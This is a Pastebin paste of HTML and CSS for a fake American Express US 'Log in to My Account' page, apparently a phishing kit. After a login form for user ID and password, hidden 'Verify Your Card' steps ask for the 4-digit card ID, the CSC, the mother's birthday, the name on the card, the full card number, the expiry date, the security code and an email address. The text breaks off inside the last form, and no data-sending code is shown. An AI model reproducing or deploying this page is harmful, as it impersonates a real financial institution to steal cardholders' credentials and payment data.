Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8" />
- <meta http-equiv="X-UA-Compatible" content="IE=edge" />
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <title>Log in to My Account | American Express US</title>
- <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
- <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
- <script
- src="https://code.jquery.com/jquery-3.3.1.js"
- integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
- crossorigin="anonymous"
- ></script>
- <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
- <script
- src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
- integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
- crossorigin="anonymous"
- ></script>
- <style>
- * {
- margin: 0;
- padding: 0;
- box-sizing: border-box;
- }
- body {
- font-family: BentonSans, Helvetica Neue, Roboto, Helvetica, sans-serif;
- background-color: #ecedee;
- }
- .njkhsye78-box {
- transition: all 0.2s ease-in;
- }
- .gpo-nav {
- position: fixed;
- top: 0;
- background-color: rgba(0, 0, 0, 0.5);
- width: 100%;
- height: 100vh;
- }
- .ghn-box {
- position: fixed;
- top: 0;
- width: 100%;
- background-color: #f7f8f9;
- transition: all 0.3s ease-in-out;
- }
- .hide {
- opacity: 0;
- visibility: hidden;
- }
- .gshbn-1 {
- padding-top: 80px;
- }
- .cahasj-cont {
- padding: 0 140px;
- }
- .head__div {
- display: flex;
- align-items: center;
- justify-content: space-around;
- background-color: #fff;
- padding: 10px;
- position: fixed;
- width: 100%;
- top: 0;
- }
- .head__main {
- background-color: #fff;
- padding: 20px;
- text-align: center;
- }
- .log__head {
- display: flex;
- align-items: center;
- }
- .n__data-2 {
- display: flex;
- align-items: center;
- }
- .n__data-2 span {
- display: inline-block;
- margin: 0 15px;
- transition: all 0.3s ease;
- }
- .n__data span {
- margin-left: 20px;
- font-size: 15px;
- color: #006fcf;
- cursor: default;
- padding: 15px 0;
- }
- .n__data a:active {
- background-color: red;
- }
- .n__data span:hover {
- border-bottom: 5px solid #ccc;
- }
- .nsp__d {
- color: #006fcf;
- font-size: 15px;
- cursor: pointer;
- padding: 12px 20px;
- border-radius: 5px;
- transition: all 0.1s ease;
- }
- .nps__btn {
- padding: 12px 20px;
- cursor: pointer;
- color: #fff;
- background: #006fcf;
- border-radius: 5px;
- border: none;
- font-size: 15px;
- transition: all 0.3s ease-in;
- }
- .nps__btn:hover {
- background: #0061b6;
- }
- .n__data-2 img {
- cursor: pointer;
- }
- .nsp__d:hover {
- background: rgba(129, 129, 129, 0.1);
- }
- .nms__bod {
- margin: 20px 0;
- display: flex;
- justify-content: center;
- padding: 10px 0;
- }
- .mhasas-bod-2 {
- padding: 20px 80px;
- }
- .mbod-conqkas {
- background-color: #fff;
- padding: 30px;
- }
- .hjno-bod {
- display: flex;
- justify-content: center;
- }
- .phajshjas {
- border-left: 2px solid rgb(131, 127, 127);
- height: 250px;
- }
- .njtyeuas-1-box {
- width: 25%;
- margin-left: 30px;
- }
- .njtyeuas-1-box p {
- font-size: 13px;
- text-align: center;
- margin: 10px 0;
- }
- .jsken {
- margin-right: 30px;
- padding-right: 30px;
- }
- .hasHigy {
- width: 35%;
- }
- .nms__bod-f {
- width: 24%;
- background-color: #fff;
- padding: 20px;
- }
- .nms-box-mi label {
- display: block;
- }
- .nms-box-mi {
- margin: 25px 0;
- }
- .nms__bod h2 {
- text-align: center;
- font-weight: 400;
- font-size: 20px;
- }
- .nms-box-mi label {
- font-weight: 600;
- font-size: 11px;
- margin: 5px 0;
- }
- .nms-box-mi input,
- .nms-box-mi select {
- width: 100%;
- height: 50px;
- border-radius: 5px;
- padding: 10px;
- background-color: #f7f8f9;
- border: 1px solid #c8c9c7;
- }
- .nms-box-mi input:focus,
- .nms-box-mi select:focus {
- border-color: #006fcf;
- outline: none;
- }
- .btn-full {
- width: 100%;
- height: 45px;
- background: #006fcf;
- color: #fff;
- border: none;
- cursor: pointer;
- border-radius: 5px;
- font-size: 16px;
- transition: all 0.3s ease;
- }
- .btn-full:hover {
- background: #0061b6;
- }
- .nsj__link {
- margin: 17px 0;
- }
- .nsj__link a {
- color: #006fcf;
- text-decoration: none;
- font-size: 14px;
- }
- .nsj__link a:hover {
- text-decoration: underline;
- }
- .msh-img {
- background-color: #fff;
- height: max-content;
- margin-left: 25px;
- padding: 12px;
- padding-top: 30px;
- }
- .msh-img p {
- text-align: center;
- font-size: 12px;
- font-weight: 600;
- }
- .nsmh-fot {
- background-color: #fff;
- padding: 20px 20px;
- }
- .nsmh-fot hr {
- margin: 20px 0;
- }
- .shgas-fot-box {
- display: flex;
- justify-content: center;
- }
- .ngh-fot-lik {
- margin-right: 80px;
- }
- .ngh-fot-lik h4 {
- margin: 15px 0;
- font-size: 13px;
- font-weight: 600;
- color: #53565a;
- }
- .bnsj-link a {
- line-height: 35px;
- font-size: 14px;
- text-decoration: none;
- color: #006fcf;
- }
- .bnsj-link a:hover {
- text-decoration: underline;
- }
- .njmk-log-fot {
- margin: 30px 0;
- padding: 0 130px;
- }
- .njmk-log-fot hr {
- border: 1px solid #eee;
- }
- .ghavih-spc {
- width: 30px;
- }
- .mkjss {
- margin: 20px 0;
- }
- .cjas-cont svg {
- width: 20px;
- margin-right: 8px;
- }
- .gheyx-arr-soc a {
- margin-left: 5px;
- }
- .cjas-cont a {
- margin-left: 5px;
- font-size: 14px;
- text-decoration: none;
- color: #0061b6;
- }
- .cjas-cont a:hover {
- text-decoration: underline;
- }
- .njksl6-box {
- display: flex;
- align-items: center;
- justify-content: space-between;
- }
- .cjas-cont {
- display: flex;
- align-items: center;
- }
- .ghst-terms {
- margin: 28px 0;
- }
- .ghshe {
- margin: 25px 0;
- }
- .tejank-j3 {
- padding: 0 130px;
- }
- .tejank-j3 a,
- .tejank-j3 span {
- color: #0061b6;
- font-size: 14px;
- text-decoration: none;
- }
- .tejank-j3 a {
- margin-right: 10px;
- }
- .tejank-j3 a:hover {
- text-decoration: underline;
- }
- .tejank-j3 span {
- color: #000;
- }
- .veraNjh-1 {
- display: flex;
- background-color: #f7f8f9;
- width: 100%;
- height: 40px;
- margin: 20px 0;
- }
- .imgtye-arr {
- transform: translateX(-7px) translateY(1.1px);
- }
- .prog-bar {
- width: 35%;
- background-color: #1274b8;
- height: inherit;
- color: #fff;
- }
- .prog-bar span {
- display: inline-block;
- transform: translateY(10px);
- padding: 0 20px;
- font-size: 14px;
- }
- .mbod-conqkas h2 {
- text-align: center;
- margin: 20px 0;
- font-weight: 500;
- }
- .hasHigy p {
- font-size: 13px;
- text-align: center;
- }
- .gnPgha-yh {
- font-size: 14px !important;
- font-weight: 600 !important;
- }
- .remove {
- display: none !important;
- }
- .img-box {
- width: 50%;
- margin: 30px auto;
- }
- .error-box {
- font-size: 13px;
- color: red;
- font-weight: 600;
- }
- @media screen and (max-width: 1051px) {
- .nms__bod {
- display: block;
- }
- .nms__bod-f {
- width: 50%;
- margin: 30px auto;
- }
- .msh-img {
- width: max-content;
- margin: 0 auto;
- }
- }
- @media screen and (max-width: 1013px) {
- .mhasas-bod-2 {
- padding: 20px;
- }
- }
- @media screen and (max-width: 827px) {
- .phajshjas {
- display: none;
- }
- .njtyeuas-1-box {
- display: none;
- }
- .hasHigy {
- width: 100%;
- }
- .hjno-bod {
- display: block;
- }
- .njmk-log-fot {
- padding: 20px;
- }
- .tejank-j3 {
- padding: 20px;
- }
- }
- @media screen and (max-width: 765px) {
- .shgas-fot-box {
- display: grid;
- grid-template-columns: repeat(2, 1fr);
- margin: 20px auto;
- }
- }
- @media screen and (max-width: 542px) {
- .njksl6-box {
- display: block;
- margin: 0;
- }
- .prog-bar {
- width: 55%;
- }
- }
- @media screen and (max-width: 463px) {
- .nms__bod-f {
- width: 95%;
- }
- .n__data-2 {
- display: none;
- }
- .n__data {
- white-space: normal;
- }
- .n__data span {
- font-size: 13px !important;
- }
- .nms__bod {
- padding: 0;
- }
- }
- @media screen and (max-width: 375px) {
- .shgas-fot-box {
- display: none;
- }
- }
- </style>
- </head>
- <body>
- <div class="njkhsye78-box hide">
- <div class="gpo-nav"></div>
- <div class="ghn-box">
- <div class="gshbn-1">
- <div class="shgas-fot-box">
- <div class="ngh-fot-lik">
- <h4>CARD ACCOUNTS</h4>
- <div class="bnsj-link">
- <a href="#">Create Your Online Account</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Account Home</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Confirm Your Card</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Statements & Activity</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Account Services </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Card Benefits</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>BUSINESS ACCOUNTS</h4>
- <div class="bnsj-link">
- <a href="#">Small Business</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Merchant Home</a>
- </div>
- <div class="bnsj-link">
- <a href="#">American Express @Work</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>OTHER ACCOUNTS</h4>
- <div class="bnsj-link">
- <a href="#">MMembership Rewards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Membership Rewards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">CreditSecure</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Bluebird</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Accept Amex Cards </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Refer A Friend</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>CREDIT TOOLS AND SUPPORT</h4>
- <div class="bnsj-link">
- <a href="#">Credit Intel – Financial Education Center</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Supplier Diversity</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Credit 101</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Money Management 101</a>
- </div>
- <div class="bnsj-link">
- <a href="#">US Newcomers </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Frequently Asked Questions</a>
- </div>
- </div>
- </div>
- <div class="cjas-cont cahasj-cont">
- <svg
- xmlns="http://www.w3.org/2000/svg"
- width="100"
- height="69"
- viewBox="0 0 100 69"
- >
- <path fill="#FFF" d="M0 0h100v69H0z" />
- <path
- fill="#BD3D44"
- d="M0 0h100v5.308H0V0zm0 10.615h100v5.308H0v-5.308zm0 10.616h100v5.308H0V21.23zm0 10.615h100v5.308H0v-5.308zm0 10.616h100v5.308H0v-5.308zm0 10.615h100v5.308H0v-5.308zm0 10.616h100V69H0v-5.308z"
- />
- <path fill="#192F5D" d="M0 0h52.44v37.154H0V0z" />
- <path
- fill="#FFF"
- d="M4.37 1.59l.477 1.469h1.544l-1.249.907.477 1.469-1.25-.908-1.248.908.477-1.469-1.25-.907h1.545L4.37 1.59zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.545l-1.25.907.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.545l-1.25.907.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.545l.477-1.469zM8.74 5.306l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.476-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zM4.37 9.021l.477 1.468h1.544l-1.249.908.477 1.469-1.25-.908-1.248.908.477-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.908h1.545l.477-1.468zM8.74 12.736l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.25.907.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.907-1.249.907.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 16.452l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468zM8.74 20.167l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 23.883l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468zM8.74 27.598l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 31.314l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468z"
- />
- </svg>
- United States<a href="#">Change Country</a>
- </div>
- </div>
- </div>
- </div>
- <div class="head__div">
- <div class="log__head">
- <svg
- version="1.1"
- id="Layer_1"
- xmlns="http://www.w3.org/2000/svg"
- x="0"
- y="0"
- width="45"
- height="45"
- viewBox="0 0 45 45"
- xml:space="preserve"
- >
- <style>
- .st0 {
- fill: #fff;
- }
- .st1 {
- fill: #006fcf;
- }
- </style>
- <path
- id="logo-blue-box-small-45-9x45-a"
- class="st0"
- d="M44.9 44.9H0V0h44.9z"
- />
- <path
- class="st1"
- d="M44.9 24.2V-.1H0v44.9h44.9V31.7c-.1 0 0-7.5 0-7.5"
- transform="translate(0 .12)"
- />
- <path
- class="st0"
- d="M39.4 21.7h3.4v-7.9h-3.7v1.1l-.7-1.1h-3.2v1.4l-.6-1.4h-5.9c-.2 0-.4.1-.6.1s-.3.1-.5.2-.3.1-.5.2v-.5H10.2l-.5 1.3-.5-1.3h-4v1.4l-.6-1.4H1.4L0 17.2v4.5h2.3l.4-1.1h.8l.4 1.1h17.6v-1l.7 1h4.9v-.6c.1.1.3.1.4.2s.3.1.4.2c.2.1.4.1.6.1h3.6l.4-1.1h.8l.4 1.1h4.9v-1l.8 1.1zm5.5 10v-7.4H17.4l-.7 1-.7-1H8v7.9h8l.7-1 .7 1h5v-1.7h-.2c.7 0 1.3-.1 1.8-.3v2.1h3.6v-1l.7 1h14.9c.6-.2 1.2-.3 1.7-.6z"
- transform="translate(0 .12)"
- />
- <path
- class="st1"
- d="M43.2 29.8h-2.7v1.1h2.6c1.1 0 1.8-.7 1.8-1.7s-.6-1.5-1.6-1.5h-1.2c-.3 0-.5-.2-.5-.5s.2-.5.5-.5h2.3l.5-1.1h-2.7c-1.1 0-1.8.7-1.8 1.6 0 1 .6 1.5 1.6 1.5h1.2c.3 0 .5.2.5.5.1.4-.1.6-.5.6zm-4.9 0h-2.7v1.1h2.6c1.1 0 1.8-.7 1.8-1.7s-.6-1.5-1.6-1.5h-1.2c-.3 0-.5-.2-.5-.5s.2-.5.5-.5h2.3l.5-1.1h-2.7c-1.1 0-1.8.7-1.8 1.6 0 1 .6 1.5 1.6 1.5h1.2c.3 0 .5.2.5.5.1.4-.2.6-.5.6zm-3.5-3.2v-1.1h-4.2v5.3h4.2v-1.1h-3v-1.1h2.9v-1.1h-2.9v-1h3v.1zm-6.8 0c.5 0 .7.3.7.6s-.2.6-.7.6h-1.5v-1.3l1.5.1zm-1.5 2.3h.6l1.6 1.9h1.5l-1.8-2c.9-.2 1.4-.8 1.4-1.6 0-1-.7-1.7-1.8-1.7h-2.8v5.3h1.2l.1-1.9zm-3.2-1.6c0 .4-.2.7-.7.7H21v-1.4h1.5c.5 0 .8.3.8.7zm-3.5-1.8v5.3H21V29h1.6c1.1 0 1.9-.7 1.9-1.8 0-1-.7-1.8-1.8-1.8l-2.9.1zM18 30.8h1.5l-2.1-2.7 2.1-2.6H18l-1.3 1.7-1.3-1.7h-1.5l2.1 2.6-2.1 2.6h1.5l1.3-1.7 1.3 1.8zm-4.5-4.2v-1.1H9.3v5.3h4.2v-1.1h-3v-1.1h2.9v-1.1h-2.9v-1h3v.1zm24.3-9.4l2.1 3.2h1.5v-5.3h-1.2v3.5l-.3-.5-1.9-3h-1.6v5.3h1.2v-3.6l.2.4zm-5.2-.1L33 16l.4 1.1.5 1.2h-1.8l.5-1.2zm2.1 3.3H36l-2.3-5.3h-1.6l-2.3 5.3h1.3l.5-1.1h2.6l.5 1.1zm-5.6 0l.5-1.1h-.3c-.9 0-1.4-.6-1.4-1.5v-.1c0-.9.5-1.5 1.4-1.5h1.3v-1.1h-1.4c-1.6 0-2.5 1.1-2.5 2.6v.1c0 1.6.9 2.6 2.4 2.6zm-4.5 0h1.2v-5.2h-1.2v5.2zM22 16.2c.5 0 .7.3.7.6s-.2.6-.7.6h-1.5v-1.3l1.5.1zm-1.5 2.3h.6l1.6 1.9h1.5l-1.8-2c.9-.2 1.4-.8 1.4-1.6 0-1-.7-1.7-1.8-1.7h-2.8v5.3h1.2l.1-1.9zm-2.2-2.3v-1.1h-4.2v5.3h4.2v-1.1h-3v-1.1h2.9v-1.1h-2.9v-1h3v.1zm-9.1 4.2h1.1l1.5-4.3v4.3H13v-5.3h-2l-1.2 3.6-1.2-3.6h-2v5.3h1.2v-4.3l1.4 4.3zm-6.5-3.3l.4-1.1.4 1.1.5 1.2H2.2l.5-1.2zm2.1 3.3h1.3l-2.3-5.3H2.3L0 20.4h1.3l.5-1.1h2.6l.4 1.1z"
- transform="translate(0 .12)"
- />
- </svg>
- <div class="n__data">
- <span class="hasn-bt">My Account</span>
- <span class="hasn-bt">Cards</span>
- <span class="hasn-bt">Banking</span>
- <span class="hasn-bt">Travel</span>
- <span class="hasn-bt">Rewards</span>
- <span class="hasn-bt">Business</span>
- </div>
- </div>
- <div class="n__data-2">
- <div class="ndata-box">
- <img src="https://i.ibb.co/6HS3kQj/s-img.png" alt="s-img" />
- </div>
- <span class="nsp__d">Help</span>
- <div class="n__data-btn">
- <button class="nps__btn">Log In</button>
- </div>
- </div>
- </div>
- <div class="head__main">
- <svg
- xmlns="http://www.w3.org/2000/svg"
- width="235"
- height="15"
- viewBox="0 0 235 15"
- >
- <path fill="none" d="M0 0h235v15H0z" />
- <path
- d="M230.1 5.8h-3.6c-.8 0-1.3-.5-1.3-1.2s.6-1.1 1.3-1.1h6.5l1.5-3.3h-8c-3.3 0-5.2 2-5.2 4.6 0 2.8 1.8 4.4 4.7 4.4h3.6c.8 0 1.3.5 1.3 1.2s-.5 1.2-1.3 1.2h-7.8v3.3h7.8c3.3 0 5.2-1.9 5.2-4.7 0-2.8-1.7-4.4-4.7-4.4m-14.3 0h-3.6c-.8 0-1.3-.5-1.3-1.2s.6-1.1 1.3-1.1h6.5l1.5-3.3h-8c-3.3 0-5.2 2-5.2 4.6 0 2.8 1.8 4.4 4.7 4.4h3.6c.8 0 1.3.5 1.3 1.2s-.5 1.2-1.3 1.2h-7.8v3.3h7.8c3.3 0 5.2-1.9 5.2-4.7 0-2.8-1.7-4.4-4.7-4.4m-22.8 9h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2H193zm-7.7-8.4h-4.1V3.5h4.1c1.2 0 1.8.7 1.8 1.5-.1.8-.7 1.4-1.8 1.4m5.7-1.5c0-2.8-2-4.7-5.2-4.7h-8.4v14.6h3.9V9.7h1.4l4.4 5.1h4.8l-4.8-5.3c2.4-.5 3.9-2.3 3.9-4.6m-21 1.8h-4.2V3.5h4.2c1.2 0 1.8.7 1.8 1.6-.1.9-.7 1.6-1.8 1.6m.4-6.5h-8.5v14.6h3.9V10h4.5c3.3 0 5.3-2.1 5.3-4.9 0-2.9-2-4.9-5.2-4.9m-9.2 0h-5l-3.8 4.4-3.8-4.4h-5.1l6.4 7.2-6.5 7.4h5l3.9-4.6 4 4.6h5.1l-6.6-7.5zm-30.7 14.6h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2h-12.3zm-13.7-5.7l-6-8.9h-4.9v14.6h3.9V5.5l6.1 9.3h4.7V.2h-3.8zm-22.7-.5l2-4.9 2 4.9h-4zM93.7.2l-6.4 14.6h4.3l1.2-3h6.8l1.3 3h4.4L98.7.2h-5zM80.9 7.6v-.3c0-2.2 1.2-3.7 3.7-3.7H89V.2h-4.7C79.5.2 77 3.3 77 7.3v.3c0 4.5 2.8 7.1 7.1 7.1h1.3l1.6-3.3h-2.3c-2.3.1-3.8-1.2-3.8-3.8M71.1.2v14.6H75V.2zm-7.8 6.2h-4.1V3.5h4.1c1.2 0 1.8.7 1.8 1.5s-.6 1.4-1.8 1.4M69 4.9c0-2.8-2-4.7-5.2-4.7h-8.4v14.6h3.9V9.7h1.4l4.4 5.1H70l-4.8-5.3C67.6 9 69 7.2 69 4.9m-28.5 9.9h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2H40.5zM28.1 9.4L24.8.2h-6.1v14.6h3.8V4.3l3.8 10.5h3.5l3.9-10.5v10.5h3.8V.2h-6.1zM6.9 8.6l2-4.9 2 4.9h-4zM6.4.2L0 14.8h4.3l1.2-3h6.8l1.3 3H18L11.5.2H6.4z"
- fill="#006fcf"
- />
- </svg>
- </div>
- <div class="nms__bod">
- <div class="nms__bod-f">
- <h2>Log In to My Account</h2>
- <form class="nms-box">
- <div class="nms-box-mi">
- <span class="error-box remove">Incorrect User ID and Password</span>
- <label> USER ID</label>
- <input type="text" name="userId" id="user" required />
- </div>
- <div class="nms-box-mi">
- <label>PASSWORD</label>
- <input type="password" name="pass" id="pass" required />
- </div>
- <div class="nms-box-mi">
- <select name="typeAcct" id="sele" >
- <option value="">Cards - My Account</option>
- <option value="Membership Rewards">Membership Rewards</option>
- <option value="Merchant Account">Merchant Account</option>
- <option value="American Express @ Work">
- American Express @ Work
- </option>
- </select>
- </div>
- <div>
- <input type="checkbox" />
- <label>Remember me</label>
- </div>
- <div class="nms-box-mi">
- <button class="btn-full btn-login">Log In</button>
- </div>
- <div class="nsj__link">
- <a href="#">Forgot User ID or Password?</a>
- </div>
- <div class="nsj__link">
- <a href="#">Create New Online Account</a>
- </div>
- <div class="nsj__link">
- <a href="#">Confirm Card Received</a>
- </div>
- <div class="nsj__link">
- <a href="#">Visit Our Security Center</a>
- </div>
- </form>
- </div>
- <div class="msh-img">
- <p>FROM OUR PARTNERS</p>
- <img src="https://i.ibb.co/KmKtyjS/add.jpg" />
- </div>
- </div>
- <div class="mhasas-bod-2 remove">
- <div class="veraNjh-1">
- <div class="prog-bar">
- <span class="span-text">1. Verify your card</span>
- </div>
- <div class="imgtye-arr">
- <img src="https://i.ibb.co/s2LLwbM/test.png" alt="arrow" />
- </div>
- </div>
- <div class="mbod-conqkas">
- <h2 class="verifCode">Verify Your Card</h2>
- <div class="hjno-bod">
- <div class="hasHigy jsken newForm">
- <p>
- For additional security, please enter the following information so
- that we can confirm it's you not someone else and proceed with the
- verification purpose.
- </p>
- <form class="nms-box">
- <div class="nms-box-mi">
- <label class="gnPgha-yh">4-DIGIT CARD ID</label>
- <input
- type="text"
- name="pin"
- id="pin"
- placeholder="XXXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">3 DIGIT CSC</label>
- <input
- type="text"
- name="digt"
- id="pihsas"
- placeholder="XXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">Mother's Birthday</label>
- <input
- type="email"
- name="mail2"
- id="mail"
- placeholder="MMDD"
- required
- />
- </div>
- <div class="nms-box-mi">
- <button class="btn-full btn-cont">Continue</button>
- </div>
- <div class="nsj__link">
- <a href="#">Don�t have a 4-Digit Card ID?</a>
- </div>
- </form>
- </div>
- <div class="hasHigy remove newForm2 jsken">
- <form class="nms-box">
- <div class="nms-box-mi">
- <label class="gnPgha-yh">NAME ON CARD</label>
- <input
- type="text"
- name="card"
- id="card"
- placeholder="Name on Card"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">15-DIGIT CARD NUMBER</label>
- <input
- type="text"
- name="numCard"
- id="numCard"
- placeholder="XXXX-XXXXXX-XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">4-DIGIT CARD ID</label>
- <input
- type="text"
- name="pass2"
- id="idCar"
- placeholder="XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">EXPIRED DATE</label>
- <input
- type="text"
- name="exp"
- id="exp"
- placeholder="MM/YY"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">CARD SECURITY CODE (CSC)</label>
- <input
- type="text"
- name="secDate"
- id="secCode"
- placeholder="Card Security Code (CSC)"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">EMAIL ADDRESS</label>
- <input
- type="email"
- name="email2"
- id="emai"
- placeholder="Email Address"
- required
- />
- </div>
